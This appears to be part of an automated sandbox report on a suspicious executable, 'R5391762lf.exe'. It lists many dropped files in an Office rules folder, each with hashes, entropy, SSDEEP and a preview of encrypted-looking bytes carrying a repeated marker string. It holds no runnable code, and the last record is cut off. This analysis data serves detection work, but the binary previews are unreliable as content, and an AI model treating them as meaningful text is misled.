Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	757
Entropy (8bit):	7.746620138310446
Encrypted:	false
SSDEEP:	12:txClw8RFTtmT6HdOac40sDEHGlyv7NW1DRFfKoi/gu7BrU/epS1hFmJUiPy8KeXp:txCln6IOaljYmgv7NWRR7i/gu1uepQcB
MD5:	F478046160D4B821E420E9853F6F3AE4
SHA1:	4D5825AB5B3BBE881540EA8DDF0BB516162B62CD
SHA-256:	4A78C152F794B8DB8101C1F3CCEFC739985755D7F0F4668BA5F55A6195B26B62
SHA-512:	AED50A3B1B54250350979206B59C8441DFA16CE3B1DB4B10F858A8A4127BE07B2BBF0C0C47C05A4FC64E6A1AE19BC768A06791D294CB71AAD1F6467E16EAAD46
Malicious:	false
Preview:	.<?%A..,.e)I..G..3u.9...J.=......r.:V..v..tL....oe.^4$......I..bi^.U.....;.f...y..T...........@uy;.N..b.@.{,&..'8i...<...5J..zfXY..JrB......Z+...,.J..L.w...Q..c.../...{.....C...~.Xw...7S.qJg\m.w.+..J0.O..t=N."....'8Y..].h.s..^.Az.I$...!.$m3.1...E.1.....N...?.....*P...LS0%.L`n....$.?..d...=..@..OL..3_..J..h.1..i..~.f.....:....YNk..\|..<$.>U..u....,.a.......#c}..m..`....rA.....h..r..........d.1j~&).R...9.......;D..g..V.jB.@@S.(E..p...4...X.ZGk.:........x.../....l...A.~2.'..>Z1.dC...C...+...^.../...@.L.,X#.QB(.C...\|....S....Hn..fq.P./.2......6i..M..w.9.....aio.J..x.At.......9.v.zQk.$bS....U.'......C..A..X.s.(H2..u.r...gD._.V.k...\|....>.T8doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120640v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.712840381738303
Encrypted:	false
SSDEEP:	24:ct9yZVZ70tNycc9za3e72bMT0WR4+xXq8uWbD:EyZ7My1ac2Qj4+xXFuED
MD5:	D0CE07E0E2DAAB21254618D00BF7A837
SHA1:	3635681340ADDF2FA5E2D6565586A337CD68D821
SHA-256:	5960F6C34D592D8BE4790892089AC57EAF2F4F58C35E43400EAA6E2EBFB28C85
SHA-512:	D6CE9EE9C0415C557B852F9EF7BF6B8380D8EA4285E22FDA0641F7BA6541F35222425CAEFE904B2BE771AEBF8B54976AB2A34DFF142A5994F169F55C2F719960
Malicious:	false
Preview:	.<?.6?. ....at....G.d.H..`..+.+.......jC..;..[(..6.z.[...._..a.W.A\|i..4..(6.z[w..3;2..[.P..T$..6 ......X.-v!.Dv`.xm...C.dl?9.3O].^..'.._X.2...!=..R....m.....A.wF......<u.~.vD L.{..........a,r..B.&l)(p[M..7...&n&k7.OE.....\.C..!...S5....?.a...K.W.........?..H.....y.G..q. ....E...[yo%..#..G........>...z,k....nx~..c.D....t..>5.OS.6....q...d..z...+=(8.+(.\|#.0&...L.``../.'..F...)..u......o..K........U...o$<..uK.....y........W.X......H.Y....9.L.K...L8.....M...4V..X.....:.......#.....,c...,N..FNw....2..M.. o0...Gl..<..[.m.iR?.}%p....q..s.+.`..P.4...(.L...tN...i{....9.-d......85.?....J....d![......AN..q.....V.B.w.~.. bNw$...^...$........]...M.$.U7_._..L7;.T..6<..-..~...V...doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120641v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.658332814518675
Encrypted:	false
SSDEEP:	12:AsiixOVllk0UK9IkHfxuyMkWBGPEBjA+Ad14MMmJNw+LyqdfnC+/5cMJxwtKbWL5:AN1UVkHfmFGPQ4fJMmJNGmPccw0b8Xq+
MD5:	A430FDABB448527049D8EA023393EE32
SHA1:	209ED1BCF9707E3C65B47EE23A258A34CBFF68AA
SHA-256:	EF8A723F7553F02A87BF50496763798EC1A20D051695B2EC638272B163948898
SHA-512:	5CF8AD11F212702FF0D3912D7A311DF4E2E9C29842E30D1EF7DE9341F5751F65E035C7F7E6B6B1C05010E569FE1DC11FEE545A4F1D1579DFF485938761DE6BCD
Malicious:	false
Preview:	.<?..~..&<....%:...............W..R.Z. ..#...oC....h..xn.iaM.d-R......V.6..\|...-Lr%.....]a..x.........1(......1.>..gz._..]a.JW{>.W.r.1../.h....u...L.9h...H2Q[..,o'..8.....tQ7..w.\|A.....A...G#s...0.......q...7Yv...y/q...c}..Gl....9...........K..s..>xq.h+....<..;.wK.n.%./-....J...J..J.wt..4>ZT..CRG2'.-.....{P.$%M.q..0^..b.....;uABHZD..T.Q^uG...;..i3.1[7....zp...j....H...9.sHDXG..GU.kL9.")[c..\|.l....+6...m.(..Mue)...n..R...F.C<1..OL.t.c.....z.dUg.....\SQ..5..0...f.w.6...i}-.Xc...o........2....0.U*.J`..B...^R.Bt\|..... a..b:~k.?[ja......`.b.Y..$...g..'...n....7..It2..Y...9...".p.....Hp..R.&iMp...:1u..$.7..,...aB...\.z.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120642v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.733515637116815
Encrypted:	false
SSDEEP:	24:eJYZ0enZepNfnZ9bWun++IqzJ75Xq8uWbD:pZ0ea9nZxHZJdXFuED
MD5:	E12F3C83A2A9798D9A1A2AB1E76F7D39
SHA1:	AA5582D258D283FBE0E09C7D63842EE982642809
SHA-256:	5E49FDF44D59C800B55A2607ADBE64CAFD09C7A4507AE2DFEA76E4637F3A17C1
SHA-512:	DB5C256190B6B47D09B2E24D12860A417D673DC8589FC4FA8CC059B79B539DFC973FF1AFC42CAB092FE2CC9411AA507728D1BBE71F0B59871C15F191BD298B59
Malicious:	false
Preview:	.<?...G.....EA...s.........?.9m1...m%.......Po....!.....8.=g.kEKt.........]...YV's!bz.IG.3..@.^H.. Wb..r...]......\|..AHV..S%.P.5... ..4....y......@H...k.[..Q.a..q.^.>...n._-...}.I-...,s.U{...X@.o.$R..hc..t.\..<...\|W....'`....G.EBwz....c..D.9.(....h..W.gK....~yv.@.?.Mm...!....w~.H7.........]6.V...E.G.y...`.8.....\..S.g........=.U.b.\...=..=........xw"......$.....f.0......M...=.._.R.^....T]..Kz..P$.j$.....'....>x....~...$c....JS+6.SG..Yv....-O.T}.L....pMK......:.<U.b.)]..6.jN..=& ...FlVi..Q.......#.=...F4......G.5..Vw!5.eq...........d.$....i..,d.Q...3..C(.S.`...J....{...Q.s.....V%Q.uW.+6.n..w&........Cs-.'.F.......<ah...N.5.w+&.ET.t.g..aQ..3..m.5.].._~#.E[VN;F.....x.E...doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120643v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	734
Entropy (8bit):	7.711542706160666
Encrypted:	false
SSDEEP:	12:uTbZXNmGFWvuezpTD0vQXeWz/l6aJCpIU3kIjyHGarHZgEFKXqOTuWcii9a:2ZNmsWvueFT4vaeWzN6aTa6Gar5GXq8X
MD5:	6BF3121D4051BD5604B24928D9254326
SHA1:	C9A7508E86C341D994A8E469BBA75F92D815F402
SHA-256:	CC7C9DC64F3B5AFBBB907060CC2D7CE6F76C4CC81B62F0FB717BF313177D01B1
SHA-512:	FAB0BF29A96E1E1F77A6C06665ACB6772694111F6AEB9C96AD74E04D1D103833085AE077157F95D2C4AFB1DCFDE419083E5992300BBB9E91747C6920793F119F
Malicious:	false
Preview:	.<?9].i.`..^Ve.M.....I..X..]@...v..r~D...\|Q4D.. ....4.....J.......kzz.B.E.Op.n,.....X.7V...x<z[[d.%..r..."..k@... ...A...r....A..om.d4......6.E.?.RY.2........Y.7.1.\.O.V..&..a.%.<.Byo.....}i.........q....w.."A...T}..JN....ASu..x.N.$.R"vv9....0R*2c...S.....g.YK`...j...c.YJ[.tM.t...V.W.....h.S....4Q.....6..^;5?..A..H....jZ...q..2F...K..t.s...t.x....z..\....O...a}}0.HT4.9J...p....7.....H.V.`./.#...!..~....<.w... ....Y.`......1.D......,7 n.>.U.s=.p'.)f..R.....qW:q.3..Q...O..u..^H... ..Y.%.0.fm.{..p....d.K....\.A1.-.9U..kQ.V/....... ..T.G...!f...O..6..zK....Nh....IiF.RY..d.U5....O.+.\.:!.~HLO.(..DU....lt.=@.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120644v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	813
Entropy (8bit):	7.7036170102831925
Encrypted:	false
SSDEEP:	24://zB5aLJLmSNi0trApD8s1t912nleJAsvS2BXq8uWbD:XzB+i0trApDFt9YleesvS2BXFuED
MD5:	D4F3643096A46767EFF99BD7842E7E03
SHA1:	F19ABE0A0572589245AB79739CD0CB7832BEADAF
SHA-256:	CDD044476239C6F843A70E8D06C681D634EC0B49C76C9D03A9F6042CDC7E0BDC
SHA-512:	A2C59FA30190EEEBC7DC17C33A3CC0901782ECAAE38D17083727F9955F0EFDFC567BDED36D3EF9B14ABC5C8BC01FB893D386F36E65EDF022DC7E3869E1BB5D19
Malicious:	false
Preview:	.<?.]./...@..B6...'2....0a..%-VJ..\|...,y..M.3_......T......Ux..iP#.........K.E.O.fq.,....kqV0....}\|.F.7...L@'..^..7...V.....f...V= ........C\|_=\..{.Sc......o3(h.d;.j...0.f........_A<t..m+.g.....Eq..l].....p.}...u...}Q~o..HFx...-...7.WKq.H.}..0pD.....iUO..`..v.........>h~.z..4..)x..Q B>...52........Y.S.)...(....m.8.(K..N....].[VG....R....w..a.S.%u.lVIL..\0.`..T..-\..Bm.........N...O}...3.....9.l...)...Cl)./.V..R..Ml.`.....%W....H..W..Oy Hsn>...R...h.6.a...........D#...#......<4.30..x......bbO.I..R}.. ..(..'.r....G....(4...&....h7".........`^..Ss.i..IK3.v.%...+(A..3..\|....t.....Q)S...n.[S..,....o.....!4.....jy....ox[y.xE......Q.uj...q..*....t2.&.:Y``.g.`..q( 8.[...6.."K...J.v.G...{. ...2...Q.Edoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120645v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	759
Entropy (8bit):	7.730710405161526
Encrypted:	false
SSDEEP:	12:9Qm7jW4/kne1nCWKGMu0ZaKtzZhDCaxBck/I9IXO+kYGv54vwqz9s2A/BtXqOTuQ:9Q2jWdewWKjPt3rBcVGnfjcBtXq8uWbD
MD5:	97281636306A8BA1D6B9572A845D78CA
SHA1:	B90359957260917744216B4F223E1D9F557A2C02
SHA-256:	C496B381859EB2723EF4511B0D944F259233BCA9361D9566052CFC1D692C4006
SHA-512:	E87B6F7DD265665B0E0459600366EA9BC9F23C1658CCF3224B8D5971E153CAD9F5061E55F97384F2AB721EB7085D672C43D5F423EA0643F15051B3BC8E0CB3AD
Malicious:	false
Preview:	.<?<Jl.[..E.5...z...P...W.W.....J.g....J..Za.....F;.Z.....WX......-..G..........Iq,.k.8.-.......~.nbwH.zG9.~J.b..........eO.Q......1.N..%\....u4l..D..!..\~".N.65...B.{....'c..a.^.{n\r..!.0.l..po!...7.............4j. .F.].h...P0.mai........_I.............Z2..?e.........i..KwC. ......-+'..."....8~..$.+.o.Rr..RW.d.9...H_..(..j.r.D@&]R.D..+..T..m Yh.Ec.vc.[.......#....Q..o.Z.C..p..C..$F9.C.FjXs...J..59.X....%ad.F....m`.`..H/.v.{F.[0..?7.0...p.xl.....#..\|.NYmc...E.....S<8...3.._v..Y..V#...[)V.V_e...C..vm....9"....=Z..c.s.g6..w...0yB.Wv/......a....>..v./u..k2.N.X..6......b!_.......K.7<.L...;...V.S:.tk=.x......x.E...<...m.t...8Q.........ia.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120646v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	809
Entropy (8bit):	7.7268351706188
Encrypted:	false
SSDEEP:	24:2A5Fc19yBW8IdUgIHdB311ZsX3Xq8uWbD:2yi1Sr1DsHXFuED
MD5:	4E3D990D1CD015467C948BB1B403487C
SHA1:	32F1C49878BF2FDFC21CE21C6E8A54FAAD219DDB
SHA-256:	A0F67A4EF9DC19B1EC7D996F1D22F9621D9738BD1E28E1308AE2642F5B8BE3B3
SHA-512:	7ACE73A6B90610CAD1176A45563381A8ADC3F36E1C665F64872F687A3C9C9B01F81423C6D0D8D8ACC398D19D2120E71190D4D4ACFFA9E3BC3ED50B666D8C269E
Malicious:	false
Preview:	.<?Ou.9.U...7.9"P.Q...<....%;.8.UM...P...bl.p....z.......A.x.ED.Y..!....f.......#.......p..H.!...q..}e..e.4M2.$.\|....:X..\|E1-./.,.qr..........O...../Q....O..Y.F.4..\|.3=....vl.mA......\....SY..;.h.3.../...m...wK.x.a.=..r..si.q.y.s.s. .M.....pv.^/.oo..J.tz&....`....h....C.N...0#..6.....M}=.[..Hn.O'.c.S...xF_ugUdj/.."YkG....i..xj....C...d.H>..5....i$@.m...2Pp.U...,7..03.B.TL........g...-...<L.'<k...kQ..I.:+';.<..e..^ ....'j!..pz.v{7...m.h.....`._..&..h.A..T\.Fp$.%9....Zw...O.Z..U.B7....d... E.7...v.c....s..m...<;.t.....,.f...W....<.&-/.....k..#5(....-I.Q.Tz..4......#...C......@.\|....+..M.f.R.......%......&..Y9....&W...2....u...TpZ9.S.f....s..I....b._."..*..(..y....M...v..C..wL...3.%..z..8doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120647v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	782
Entropy (8bit):	7.731328821881528
Encrypted:	false
SSDEEP:	24:T1rmp6JAtnreD1hyJt+49jY3dQ04SxCKXq8uWbD:T1E6JAFreqJt+498xCKXFuED
MD5:	3228B97A8B582D2AA5241AF387F2CD1F
SHA1:	36315E0263CFA83C4B9D12C047BFFCB9CD1FBE18
SHA-256:	F0143035A54D81A822D91A4D51984E41C26A5838DD7A1FA688B24EFABAB7D395
SHA-512:	327B01362A976487E0B0EABC137D22FA16C40D77C02675D4CA38C2642D561B899A781DCDE74A4F04055D060DDFA0BEA7F3A734783B059B092DAC9F183B378F5E
Malicious:	false
Preview:	.<?..t......7:./^"...;.~.....N_'."..._..j.....#b.k6....$G..0...4....`.[....v..\.....=KC..i.4...j.....<..x(.yw..Mjo.U.{.H..q....b(...cJ.!.l...OL..'..z..;.zrt%...h...P.[.q..t..n.0j.6D..P.[...?..{[*..Kl..8.u..\0..._:eO. ..qB(...gi.....C?.:...V..d...;.]../.1m..m.....t.0.w'..pr...~......B..f...h..][.,.D.o.o]f..y.g..?...C}8OD..2ab.J...../R...kaS...'-./..c..........}7.M.]@............3....HD./..f.Pct..i.t.-a..?.O.W.b\|s...=.FxK&..D.vZl...I..a/....KS.S...4..ON`..<..kI.V....b.t;.....F......8.1.W.....0&...:.....Tmh.2..l.......}.RU..~.,{......+.k...Y.P...-w...5.Z..w..~.'..\|..b.^.^.R..Y..D..%!.q.h....._..4.4.+......],.V..C.....$....B.'\....LZS.=Z..)....o$PE....c..(.....'.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120648v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	825
Entropy (8bit):	7.764271689327453
Encrypted:	false
SSDEEP:	24:izf0oNW24DauvvbXUrpUuads2XdWeXq8uWbD:izMoE2QnbXycjdWeXFuED
MD5:	B85878F5784E7C10596ED837C49986E8
SHA1:	6BDAF185028B6735BCDE76155D3735F443C046DD
SHA-256:	C54642A2453E36EBB4A57B804FF2B58D2C9EE7187FD81C6C0340EF993D32BD62
SHA-512:	2141F683313D3CAF2F62EE261D6D588E7E450257FA837EA54E0C04D8B010B1DAD9EE1A4BCA612648240E8BBAFF4BBE90CF4BFC9A3E3ADA2A1E33D8D74D025E88
Malicious:	false
Preview:	.<?.\T?ih7Q.H.{.B0..."...H/._..7._.DY...........u\|H..ZY#\|j..:.7.kAK.....~n....O.c.$`...x......gjA\.V$]....k..o.e.....EN.s..i...O.....p......U.....%B .....,.....#4N...<R/....&n?{..U..\|..&...q..Y...?.V..........u.S..s...R3.`....w?....L...D......'<..5.Y....\.&nF.1..7h.$..{...<X...K. ~6.-.).(.d.j..p1.V.N.....4?.d.O-=Q..."u.FJ..>..J.^5TH"V.4b.G.."..R.X.u...&..F^..&<.<...R;...%.G....t....G.P....'......O....S.$.(0+JX......fZ.....'l.5{0...-.....;...:...jATH.s.Cv.n..:VM.y.`/Z..<.w..B.@...n..eA.}......tM.z. W............H.X.._m@...+2.V .......[L.Y...."..x.....&...5.....??v.....&Z...w;... .`Bk.>....[........$....\|..o.........L...k.`...kq{.TY..X.=..zF..*s......h.a.l...+yS...XW,w.E.hXlBzW.q}.V:.6.@K{.]..v.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120649v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	750
Entropy (8bit):	7.688469059142871
Encrypted:	false
SSDEEP:	12:0LH26sf8NGNSZmOgAD7wO+HgvoErEnB2x7kI06qKUqXijCecPPd1ADzr5uXqOTuQ:0JhZqS6Avo7Ax7kI06LUY98duXq8uWbD
MD5:	8DF5C2AC5EB9EC2CF789F1BA225F4890
SHA1:	BFEAE15FF99356123D9E4630F45B6D9241E88E7A
SHA-256:	ECE2F19BF104099D7E3F2A6116256D8E9C9F8AC904753E13470691E387D487D7
SHA-512:	A21667F2416535BB4FDEAF860A5CB43A1D0AC3ADD3BF08101F3D39277614AD64EA4F40ECF44CDBC6655CDEC4CB8EA2D8043702112F85524A84F2B0428DC1A2DC
Malicious:	false
Preview:	.<?.-..&...U.kwf.y....r....KAC.......d{e.....3.U....... .7..J...o.....)....+..8...D.....H.....4.re.......R.1......tc.%:..c...K...xc. ...>m.0...i"...T.T.e.t.y.....;k.u..}....):.U..29.NGX{....}8<Eh..&..g.b[B...5+#.K.z.<.}...z..c....z..Kg...........z.(/...?.+.U..\|\.$).lX......)...-.../Y-_.v.s..b.V......Yj"..=.=)..+.N.)...$d.yr..N..J.V.......P..^..}.}.R......HWOh.,u.N..C.tT. ........(!.j..hVqu=#..d.28.....K..3Q.{,........L..........A.Z=6$v..{.....{.d.....7<s...)Z4A.h6.;h./\|..k....u...VW...q..E{..a.\|l.."..+.{..3.CJ..T.j......Ai.n.rb.C....O.t...$B.jv.....@Y..u#..h\......Y..w('+.V.\.&...Q*.f.-MP.1...IdSiP:.c.<....!A........"(..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120650v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	813
Entropy (8bit):	7.704124875433053
Encrypted:	false
SSDEEP:	24:OoagmmdXu7UzFM7sA3dceQNQA6USX7FaXq8uWbD:O9hmdeQzK73RZA6F7oXFuED
MD5:	22AE077CFB8C4A809EED8094F0F200FB
SHA1:	7C5AC594180490F7B999208B3E46A1E1EDA9B227
SHA-256:	398529756D7A53D79FE15CDCFB6F504788B2B38878E2B95BB55603AF5B49467A
SHA-512:	6887A651F046B2AE2190094D06C1F25432C4CD9FBDDF4710BD02BC91C67337A19C57A57DBD9AB6A0655CDEFE5578A7347C2A9165312244F8E2619A40AAFCB748
Malicious:	false
Preview:	.<?. cg].......%......B7.1...1.W`....X.....n..Mtd!......Eq.....]..EEH.K.t.Ba,..?%...Y....Z...7N.^.9.J.9...-../..Lp.Ru.+.....rsfrOP....<......O1.....y..m.j:w..n....2u...\|....cQ...%U....P.~.....3.I'(3.-.......M...U......bo.7y...w..<;4\C\|..?...t57...>.L.....'.b.m..CN.7..Q6..s.tv+,.....tt\X.m..z..k.^...]..oZ.D.....Gji..}.f6.....).......I1OR6.t.7^o..K.rY-..@3.d/g...3..]7.. D&.v...._H.s.6!.....T;..........<....X.....J.i..._.m.z.1.)..=Q..m-.....@R.}./.u)/].Y4.)vL)....q"..~j...--.O.(....&....hJ!d6.e......P)L ..U{.@. .$...,*V..n.......9dF.B.o.ZQ...e@Cn..Z...L.Y..3..$.c.(.J/F..in..c.y...%.p.....q>K.....M....!.l.G.W....(e.w..j..U.Q..H...He...V..?.e.gy....W.l$.TA.EAD.J..-...1'...yWN.K.hO...>n......doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120651v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.70056105247313
Encrypted:	false
SSDEEP:	12:x9N5kNUOwye1SiUpvv9UDLLfaoLxFqdpg7YDnh+9OA9sjC4uGaXqOTuWcii9a:x75ky6e1SiEv0LLSEqLK4nhsr4uGaXq+
MD5:	24C334B58F67B6D24B328E1729EA244A
SHA1:	379664EC0788BA1336D65CF31EC88585ADD2AFE0
SHA-256:	3C14E6FD40D46235F0837D0E30C96838C2C43D0EEC83A416820F6903A14FB527
SHA-512:	13B13D7E1F343E122973AB02CD99C3DFA8875410604942D6C8EF722938A7D64CD48770891CF1186B1B19FEF7C69A45A878339B74EABF908D0F7310F4FA6A0443
Malicious:	false
Preview:	.<?.:8..(K.`......G.r..I..f..".....9..q.=..3y...G........T.....Y.mkx8".W...(m.e...g`P..3.a.......P.Lw.}......'.N].0...7.P%].y.2...o....X....E. z...Y....4.(E......nN.QW.l$OJd.y....>[.E...0."{]z...n.....}.h\|..O`..p.(3YR...f.>.p=...d..(..1.p\|.B@..vO..pd;L...\.r7-U....}..r...i...Hv.l-.<Z.I..YT0...z.....Z.T.w...U..._...=.+..G"o.....xw...*".MDH)F.d!.$...^.P3.B..l-~:.....<v....!..w`.K..0.......X.......c..M..1cV]^m}3w..P......5.'......t;.......m.'..V...(_:L3..O...\|y?.a....a..4.hZ..(..w.... ..1...<...[....\.=e..#.._.../!:.X.)+..S.G.?..f..<.z..2..4W...m...&d.7....S...;.s.k.R..T...X...O4...s...!..>k..?._t=...1.j.....V..U..W....\.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120652v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.737471168615358
Encrypted:	false
SSDEEP:	12:Pw/e5CnaouEZkVRcb41WflxKa4R+IUosy1Xr4nfXUXzXqOTuWcii9a:IFa4ZkVKAWflYLTzXq8uWbD
MD5:	BAF53383F5F557FED56A5FE3F9239219
SHA1:	84A3EFD176B16247628DA6B9F81C89BD23A0C427
SHA-256:	3B415934040CDD21D7262E234DB1CF1C66219802D1DC31020A64A61E01B0DF57
SHA-512:	46712A4CC1D1156CC05E76BC9B9E6B7CAEA2D1C3974C783CB281EC3717D568DC22F5B157FE1746EFD3027061A9013B56E24A4F849CF96B814120B1CC8715DBE9
Malicious:	false
Preview:	.<?~.Y..2O.St.&...c8.k.m`CN........7.\|h...o 8....d~fqEt...].^.[N.b.T<.jb6.....mz......0H.W.q-W`pZ<.&J....N...R..>a....l`....wN..l..kY,k3.F.u^.......&-w...$.../...s.e4..B7.R..P..,.o.\|^.v.S..(..C?2A<..1~..M..,.8d.e.(&.).....8.a.p.Q..Z......s....V.....4....k.IO..]..w.U. T..g.Z....L2.<.Mj.............E..F...Nv..G\|.3...g..T.......>%...`!.......K+.Mh..%#.......!@f...l.....U..u./\|.<}..yK..i(.....VL....].x.bT7.G...~..ve..b..S@.l..,Ub.t..!..6.....SOK.8(...u <..;.e8.v.6.....;Qu.......=. q.k..x.K.q....JG%.....1;.h.}.^..*.D....,A.H.....N.%U".g.a...5+..D%......Bh....DX..}.).EK..~.>o...A.....~..\.......3.o..Y;....I.C.n@.P....C.._..0%...P......1......]5....a..\.y,.."............~Qj...<\|.0=.4.w.[.Zdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120653v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.675780676316304
Encrypted:	false
SSDEEP:	12:Cg/oXkxlUK1cWyrKVcw42xgJSXZ6gcnk8UXm4KLXwFceDY/bE35W3FnugDZu7Y4e:7o0x6EBMKmLL9pk8UXm/LXwo4gyYJXq+
MD5:	11EF79DAD4EDF0000B820E1CCA95E1D0
SHA1:	CC7F60C2BE8290A51EB80A111AB0A5AE3652111F
SHA-256:	181986877D57B03C7287F37A9605A8015B8C93786EAA6189AA1EE48DC36185F3
SHA-512:	355C04D0A1CCE3D5DEDE43D2B538C4BA68342B4AD7F563321F2E2BDE49B3F73D9B4E2DAEB738325B6864E27ECB7B8234151BFDA4A72A609920E832E05F6F4DDB
Malicious:	false
Preview:	.<?[GrL.A..J~....Fu_.?..0....NMNpu.D..2`.-...wC.p...?.>.._.. 0...F.z....(U.....c)~.#wv.6....?l........`.#V...4....0nRg..{..tT..[..f...;.,!...!..Xn...........[.@.>Y..Oo{F...y.GnI..?.MC.Ukc~1....o...o......n....xP.....,F.....(..]3..4.....aw..R.i...n.U.uRU.6..!....8...n....x.S..`I.a.6!.9..-....Bc .i........A.JZK..Rh..t......+....^..w.Q...."Y[.l......O7"...vg.j.7#f{{Z..9.a0.X.jS..{...j.<......{....R$..2.)..n.....L4..3K...nkT.iC..Z..\/..-....ol7...S.?..?...L.6......l@.%.Y.....v.~..Oe...q_Z..v..,2U.....3v..c..}s-.....<...dm......j...@.c:F.>N.#.....n6..> U...I..zGeC..g.c..`{....Yl......p7.........k%..6..7..\.y..m..I.78U.".,:}tV...P;.:K.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120654v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	811
Entropy (8bit):	7.7058677575145875
Encrypted:	false
SSDEEP:	24:Ju5ByLvqywG2Y5yckwV8968nNs8Xq8uWbD:O4LyGBnryDy8XFuED
MD5:	7E73C730B4F240C523C3C29E8BEC3926
SHA1:	AAF55FFF3D336961E8C2764F1DAC3FA19415F75B
SHA-256:	E6760E36217C29CAD0F2FE6EA09E3995CA559EF01BBD279794B445EA7ACF3302
SHA-512:	E0C31C01C6431D5AC8E1CF6C96959EC799525E7FD30D9CF96AD1B2105B312C96D115F6D82F8B9B65062189CE13D19A72D637FB517BB0B1A8B73BBF49A6DB11D5
Malicious:	false
